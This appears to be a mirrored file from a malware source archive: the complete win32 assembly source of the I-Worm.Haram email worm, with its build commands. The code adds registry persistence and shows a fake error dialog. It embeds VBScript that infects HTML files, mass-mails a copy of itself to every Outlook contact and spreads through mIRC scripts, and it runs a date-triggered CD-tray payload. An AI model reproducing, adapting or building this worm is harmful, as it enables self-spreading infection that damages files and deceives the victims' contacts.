mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-23 11:55:26 +00:00
592 lines
12 KiB
NASM
592 lines
12 KiB
NASM
comment *
|
||
Name : I-Worm.Haram
|
||
Author : PetiK
|
||
|
||
Language : win32asm
|
||
Date : May 13th 2002 - June 1st 2002
|
||
|
||
Size : 5192 bytes (compressed with Petite Tool)
|
||
|
||
Comments : - Copy to %sysdir%\FunnyGame.exe
|
||
- Search all doc files in "Personal" folder and create a new virus html file:
|
||
|
||
example : document.doc -> document.htm
|
||
1) 2)
|
||
|
||
1) Good DOC file
|
||
2) Good HTM virus (1571 bytes)
|
||
|
||
- Put the name of all active process and add .htm:
|
||
|
||
example : process.exe -> process.exe.htm
|
||
3) 4)
|
||
|
||
3) Real name of active process
|
||
4) Real name of the HTM virus (in "C:\backup" folder for Win ME/2k/XP)
|
||
|
||
- Create a random name file in StarUp folder to spread with Outlook
|
||
|
||
- On the 10th, payload : open and close CD door and display a messagebox in loop
|
||
|
||
*
|
||
|
||
.586p
|
||
.model flat
|
||
.code
|
||
|
||
JUMPS
|
||
|
||
include win32api.inc
|
||
|
||
LF equ 10
|
||
CR equ 13
|
||
CRLF equ <13,10>
|
||
|
||
@pushsz macro msg2psh, empty
|
||
local next_instr
|
||
ifnb <empty>
|
||
%out too much arguments in macro '@pushsz'
|
||
.err
|
||
endif
|
||
call next_instr
|
||
db msg2psh,0
|
||
next_instr:
|
||
endm
|
||
|
||
@endsz macro
|
||
local nxtchr
|
||
nxtchr: lodsb
|
||
test al,al
|
||
jnz nxtchr
|
||
endm
|
||
|
||
api macro a
|
||
extrn a:proc
|
||
call a
|
||
endm
|
||
|
||
WIN32_FIND_DATA struct
|
||
dwFileAttributes dd 0
|
||
ftCreationTime dd ?,?
|
||
ftLastAccessTime dd ?,?
|
||
ftLastWriteTime dd ?,?
|
||
nFileSizeHigh dd 0
|
||
nFileSizeLow dd 0
|
||
dwReserved0 dd 0,0
|
||
cFileName db 260 dup(0)
|
||
cAlternateFileName db 14 dup(0)
|
||
db 2 dup (0)
|
||
WIN32_FIND_DATA ends
|
||
|
||
PROCESSENTRY32 STRUCT
|
||
dwSize DWORD ?
|
||
cntUsage DWORD ?
|
||
th32ProcessID DWORD ?
|
||
th32DefaultHeapID DWORD ?
|
||
th32ModuleID DWORD ?
|
||
cntThreads DWORD ?
|
||
th32ParentProcessID DWORD ?
|
||
pcPriClassBase DWORD ?
|
||
dwFlags DWORD ?
|
||
szExeFile db 260 dup(?)
|
||
PROCESSENTRY32 ENDS
|
||
|
||
start: pushad
|
||
@SEH_SetupFrame <jmp end_worm>
|
||
|
||
hide_the_worm:
|
||
call hide_worm
|
||
|
||
get_name:
|
||
push 50
|
||
mov esi,offset orgwrm
|
||
push esi
|
||
push 0
|
||
api GetModuleFileNameA
|
||
|
||
get_copy_name:
|
||
mov edi,offset cpywrm
|
||
push edi
|
||
push 50
|
||
push edi
|
||
api GetSystemDirectoryA
|
||
add edi,eax
|
||
mov eax,'nuF\'
|
||
stosd
|
||
mov eax,'aGyn'
|
||
stosd
|
||
mov eax,'e.em'
|
||
stosd
|
||
mov eax,'ex'
|
||
stosd
|
||
pop edi
|
||
|
||
copy_worm:
|
||
push 1
|
||
push edi
|
||
push esi
|
||
api CopyFileA
|
||
test eax,eax
|
||
je ok_copy
|
||
|
||
push 50
|
||
push edi
|
||
push 1
|
||
@pushsz "Haram"
|
||
@pushsz "Software\Microsoft\Windows\CurrentVersion\Run"
|
||
push 80000002h
|
||
api SHSetValueA
|
||
|
||
push 50
|
||
push offset msgwrm
|
||
push esi
|
||
api GetFileTitleA
|
||
push 10h
|
||
push offset msgwrm
|
||
@pushsz "ERROR : this file is not a valid Win32 file."
|
||
push 0
|
||
api MessageBoxA
|
||
ok_copy:
|
||
|
||
call inf_doc_personal
|
||
|
||
get_startup_path:
|
||
push 0
|
||
push 7
|
||
push offset startup
|
||
push 0
|
||
api SHGetSpecialFolderPathA
|
||
push offset startup
|
||
api SetCurrentDirectoryA
|
||
|
||
call cr_vbsname
|
||
|
||
mov edi,offset vbsname
|
||
|
||
push 0
|
||
push 1
|
||
push 2
|
||
push 0
|
||
push 1
|
||
push 40000000h
|
||
push edi
|
||
api CreateFileA
|
||
mov ebp,eax
|
||
push 0
|
||
push offset byte_write
|
||
push e_vbs - s_vbs
|
||
push offset s_vbs
|
||
push ebp
|
||
api WriteFile
|
||
push ebp
|
||
api CloseHandle
|
||
|
||
|
||
payload:
|
||
mov eax,offset sysTime
|
||
push eax
|
||
api GetSystemTime
|
||
lea eax,sysTime
|
||
cmp word ptr [eax+6],10
|
||
jne end_payload
|
||
|
||
xor eax,eax
|
||
push eax
|
||
push eax
|
||
push eax
|
||
@pushsz "set CDAudio door open"
|
||
api mciSendStringA
|
||
|
||
push 500
|
||
api Sleep
|
||
|
||
xor eax,eax
|
||
push eax
|
||
push eax
|
||
push eax
|
||
@pushsz "set CDAudio door closed"
|
||
api mciSendStringA
|
||
|
||
push 40h
|
||
@pushsz "I-Worm.Haram"
|
||
@pushsz "Coded by PetiK - <20>2002 - France"
|
||
push 0
|
||
api MessageBoxA
|
||
|
||
api GetTickCount
|
||
push 10000
|
||
pop ecx
|
||
xor edx,edx
|
||
div ecx
|
||
inc edx
|
||
mov ecx,edx
|
||
push ecx
|
||
api Sleep
|
||
jmp payload
|
||
|
||
end_payload:
|
||
|
||
call inf_process
|
||
|
||
end_worm:
|
||
@SEH_RemoveFrame
|
||
popad
|
||
push 0
|
||
api ExitProcess
|
||
|
||
hide_worm Proc
|
||
pushad
|
||
@pushsz "KERNEL32.DLL"
|
||
api GetModuleHandleA
|
||
xchg eax,ecx
|
||
jecxz end_hide_worm
|
||
@pushsz "RegisterServiceProcess" ; Registered as Service Process
|
||
push ecx
|
||
api GetProcAddress
|
||
xchg eax,ecx
|
||
jecxz end_hide_worm
|
||
push 1
|
||
push 0
|
||
call ecx
|
||
end_hide_worm:
|
||
popad
|
||
ret
|
||
hide_worm EndP
|
||
|
||
Spread_Mirc Proc
|
||
push offset cpywrm
|
||
push offset mirc_exe
|
||
api lstrcpy
|
||
call @mirc
|
||
db "C:\mirc\script.ini",0
|
||
db "C:\mirc32\script.ini",0 ; spread with mIRC. Thanx to Microsoft.
|
||
db "C:\progra~1\mirc\script.ini",0
|
||
db "C:\progra~1\mirc32\script.ini",0
|
||
@mirc:
|
||
pop esi
|
||
push 4
|
||
pop ecx
|
||
mirc_loop:
|
||
push ecx
|
||
push 0
|
||
push 80h
|
||
push 2
|
||
push 0
|
||
push 1
|
||
push 40000000h
|
||
push esi
|
||
api CreateFileA
|
||
mov ebp,eax
|
||
push 0
|
||
push offset byte_write
|
||
@tmp_mirc:
|
||
push e_mirc - s_mirc
|
||
push offset s_mirc
|
||
push ebp
|
||
api WriteFile
|
||
push ebp
|
||
api CloseHandle
|
||
@endsz
|
||
pop ecx
|
||
loop mirc_loop
|
||
end_spread_mirc:
|
||
ret
|
||
Spread_Mirc EndP
|
||
|
||
|
||
|
||
inf_doc_personal Proc
|
||
pushad
|
||
get_personal_folder:
|
||
push 0
|
||
push 5
|
||
push offset personal
|
||
push 0
|
||
api SHGetSpecialFolderPathA
|
||
push offset personal
|
||
api SetCurrentDirectoryA
|
||
fff_doc:
|
||
push offset ffile
|
||
@pushsz "*.doc"
|
||
api FindFirstFileA
|
||
inc eax
|
||
je end_f_doc
|
||
dec eax
|
||
mov [hfind],eax
|
||
|
||
cr_file:
|
||
push offset ffile.cFileName
|
||
push offset new_file
|
||
api lstrcpy
|
||
mov esi,offset new_file
|
||
push esi
|
||
api lstrlen
|
||
add esi,eax
|
||
sub esi,4 ; to become \SYSTEM\Wsock32
|
||
mov [esi],"mth."
|
||
lodsd
|
||
|
||
push 0
|
||
push 1
|
||
push 2
|
||
push 0
|
||
push 1
|
||
push 40000000h
|
||
push offset new_file
|
||
api CreateFileA
|
||
mov ebp,eax
|
||
push 0
|
||
push offset byte_write
|
||
push e_htm - s_htm
|
||
push offset s_htm
|
||
push ebp
|
||
api WriteFile
|
||
push ebp
|
||
api CloseHandle
|
||
|
||
fnf_doc:
|
||
push offset ffile
|
||
push [hfind]
|
||
api FindNextFileA
|
||
test eax,eax
|
||
jne cr_file
|
||
push [hfind]
|
||
api FindClose
|
||
end_f_doc:
|
||
popad
|
||
ret
|
||
inf_doc_personal EndP
|
||
|
||
|
||
inf_process Proc
|
||
popad
|
||
create_folder:
|
||
push 0
|
||
@pushsz "C:\backup"
|
||
api CreateDirectoryA
|
||
@pushsz "C:\backup"
|
||
api SetCurrentDirectoryA
|
||
enum_process:
|
||
push 0
|
||
push 2
|
||
api CreateToolhelp32Snapshot
|
||
mov lSnapshot,eax
|
||
inc eax
|
||
je end_inf_process
|
||
lea eax,uProcess
|
||
mov [eax.dwSize], SIZE PROCESSENTRY32
|
||
lea eax,uProcess
|
||
push eax
|
||
push lSnapshot
|
||
api Process32First
|
||
check_process:
|
||
test eax,eax
|
||
jz end_process
|
||
push ecx
|
||
mov eax,ProcessID
|
||
push offset uProcess
|
||
cmp eax,[uProcess.th32ProcessID]
|
||
je NextProcess
|
||
lea ebx,[uProcess.szExeFile]
|
||
|
||
push ebx
|
||
push offset new_name
|
||
api lstrcpy
|
||
mov edi,offset new_name
|
||
push edi
|
||
api lstrlen
|
||
add edi,eax
|
||
mov eax,"mth."
|
||
stosd
|
||
xor eax,eax
|
||
stosd
|
||
push offset new_name
|
||
@pushsz "System.htm"
|
||
api lstrcmp
|
||
test eax,eax
|
||
jz NextProcess
|
||
|
||
push 0
|
||
push 1
|
||
push 2
|
||
push 0
|
||
push 1
|
||
push 40000000h
|
||
push offset new_name
|
||
api CreateFileA
|
||
mov ebp,eax
|
||
push 0
|
||
push offset byte_write
|
||
push e_htm - s_htm
|
||
push offset s_htm
|
||
push ebp
|
||
api WriteFile
|
||
push ebp
|
||
api CloseHandle
|
||
|
||
NextProcess:
|
||
push offset uProcess
|
||
push lSnapshot
|
||
api Process32Next
|
||
jmp check_process
|
||
end_process:
|
||
push lSnapshot
|
||
api CloseHandle
|
||
end_inf_process:
|
||
pushad
|
||
ret
|
||
inf_process EndP
|
||
|
||
|
||
cr_vbsname Proc
|
||
mov edi,offset vbsname
|
||
; api GetTickCount
|
||
push 10
|
||
pop ecx
|
||
; xor edx,edx
|
||
; div ecx
|
||
; inc edx
|
||
; mov ecx,edx
|
||
name_g:
|
||
push ecx
|
||
api GetTickCount
|
||
push '9'-'0'
|
||
pop ecx
|
||
xor edx,edx
|
||
div ecx
|
||
xchg eax,edx
|
||
add al,'0'
|
||
stosb
|
||
api GetTickCount
|
||
push 100
|
||
pop ecx
|
||
xor edx,edx
|
||
div ecx
|
||
push edx
|
||
api Sleep
|
||
pop ecx
|
||
loop name_g
|
||
mov eax,"sbv."
|
||
stosd
|
||
ret
|
||
cr_vbsname EndP
|
||
|
||
|
||
|
||
.data
|
||
ffile WIN32_FIND_DATA <?>
|
||
sysTime db 16 dup(0)
|
||
|
||
uProcess PROCESSENTRY32 <?>
|
||
ProcessID dd ?
|
||
lSnapshot dd ?
|
||
new_name db 100 dup (?)
|
||
|
||
orgwrm db 50 dup (0)
|
||
cpywrm db 50 dup (0)
|
||
msgwrm db 50 dup (0)
|
||
startup db 70 dup (0)
|
||
personal db 70 dup (0)
|
||
new_file db 90 dup (0)
|
||
vbsname db 20 dup (0)
|
||
byte_write dd ?
|
||
hfind dd ?
|
||
|
||
s_mirc: db "[script]",CRLF
|
||
db ";Don't edit this file.",CRLF,CRLF
|
||
db "n0=on 1:JOIN:{",CRLF
|
||
db "n1= /if ( $nick == $me ) { halt }",CRLF
|
||
db "n2= /.dcc send $nick "
|
||
mirc_exe db 50 dup (?)
|
||
db CRLF,"n3=}",0
|
||
e_mirc:
|
||
|
||
|
||
s_htm: db '<haram>',CRLF
|
||
db '<html><head><title>Windows Media Player</title></head><body>',CRLF
|
||
db '<script language=VBScript>',CRLF
|
||
db 'On Error Resume Next',CRLF
|
||
db 'MsgBox "Please accept the ActiveX",vbinformation,"Internet Explorer"',CRLF
|
||
db 'Set upfkupfk=CreateObject("Scripting.FileSystemObject")',CRLF
|
||
db 'Set kupfkvqg=CreateObject("WScript.Shell")',CRLF
|
||
db 'If err.number=429 Then',CRLF
|
||
db 'kupfkvqg.Run javascript:location.reload()',CRLF
|
||
db 'Else',CRLF,CRLF
|
||
db 'glvqglvb(upfkupfk.GetSpecialFolder(0))',CRLF
|
||
db 'glvqglvb(upfkupfk.GetSpecialFolder(1))',CRLF
|
||
db 'glvqglvb(kupfkvqg.SpecialFolders("MyDocuments"))',CRLF
|
||
db 'glvqglvb(kupfkvqg.SpecialFolders("Desktop"))',CRLF
|
||
db 'glvqglvb(kupfkvqg.SpecialFolders("Favorites"))',CRLF
|
||
db 'glvqglvb(kupfkvqg.SpecialFolders("Fonts"))',CRLF
|
||
db 'End If',CRLF,CRLF
|
||
db 'Function glvqglvb(dir)',CRLF
|
||
db 'If upfkupfk.FolderExists(dir) Then',CRLF
|
||
db ' Set bbbbbbbb=upfkupfk.GetFolder(dir)',CRLF
|
||
db ' Set bbblvqgl=bbbbbbbb.Files',CRLF
|
||
db ' For each lvqgvqgl in bbblvqgl',CRLF
|
||
db ' lvqglvqr=lcase(upfkupfk.GetExtensionName(lvqgvqgl.Name))',CRLF
|
||
db ' If lvqglvqr="htm" or lvqglvqr="html" Then',CRLF
|
||
db ' Set rhmwrrhm=upfkupfk.OpenTextFile(lvqgvqgl.path,1 ,False)',CRLF
|
||
db ' if rhmwrrhm.ReadLine <> "<haram>" Then',CRLF
|
||
db ' rhmwrrhm.Close()',CRLF
|
||
db ' Set rhmwrrhm=upfkupfk.OpenTextFile(lvqgvqgl.path,1 ,False)',CRLF
|
||
db ' htmorg=rhmwrrhm.ReadAll()',CRLF
|
||
db ' rhmwrrhm.Close()',CRLF
|
||
db ' Set mwrrhmwr=document.body.createTextRange',CRLF
|
||
db ' Set rhmwrrhm=upfkupfk.CreateTextFile(lvqgvqgl.path, True, False)',CRLF
|
||
db ' rhmwrrhm.WriteLine "<haram>"',CRLF
|
||
db ' rhmwrrhm.Write(htmorg)',CRLF
|
||
db ' rhmwrrhm.WriteLine mwrrhmwr.htmltext',CRLF
|
||
db ' rhmwrrhm.Close()',CRLF
|
||
db ' Else',CRLF
|
||
db ' rhmwrrhm.Close()',CRLF
|
||
db ' End If',CRLF
|
||
db ' End If',CRLF
|
||
db ' Next',CRLF
|
||
db 'End If',CRLF
|
||
db 'End Function',CRLF
|
||
db '</script></body></html>',0
|
||
e_htm:
|
||
|
||
s_vbs: db 'On Error Resume Next',CRLF
|
||
db 'Set terqne = CreateObject("Scripting.FileSystemObject")',CRLF
|
||
db 'Set qumhzh = CreateObject("WScript.Shell")',CRLF
|
||
db 'Set sys = terqne.GetSpecialFolder(1)',CRLF
|
||
db 'copyname = sys&"\FunnyGame.exe"',CRLF
|
||
db 'Set htgx = CreateObject("Outlook.Application")',CRLF
|
||
db 'Set ofcc = htgx.GetNameSpace("MAPI")',CRLF
|
||
db 'For each c In ofcc.AddressLists',CRLF
|
||
db 'If c.AddressEntries.Count <> 0 Then',CRLF
|
||
db 'For d = 1 To c.AddressEntries.Count',CRLF
|
||
db 'Set etldb = htgx.CreateItem(0)',CRLF
|
||
db 'etldb.To = c.AddressEntries(d).Address',CRLF
|
||
db 'etldb.Subject = "New game from the net for you " & c.AddressEntries(d).Name',CRLF
|
||
db 'etldb.Body = "Play at this funny game. It''s very cool !"',CRLF
|
||
db 'etldb.Attachments.Add(copyname)',CRLF
|
||
db 'etldb.DeleteAfterSubmit = True',CRLF
|
||
db 'If etldb.To <> "" Then',CRLF
|
||
db 'etldb.Send',CRLF
|
||
db 'End If',CRLF
|
||
db 'Next',CRLF
|
||
db 'End If',CRLF
|
||
db 'Next',0
|
||
e_vbs:
|
||
|
||
ends
|
||
end start
|
||
|
||
*************************************************************************
|
||
|
||
@tasm32 /M /ML haram.asm
|
||
@tlink32 -Tpe -aa -c -x haram.obj,,,import32,haram.def
|
||
rem pause
|
||
rem upx -9 haram.exe
|
||
@del *.obj
|
||
rem pause
|
||
|
||
*************************************************************************
|
||
|
||
IMPORTS
|
||
|
||
SHLWAPI.SHSetValueA
|
||
SHELL32.SHGetSpecialFolderPathA |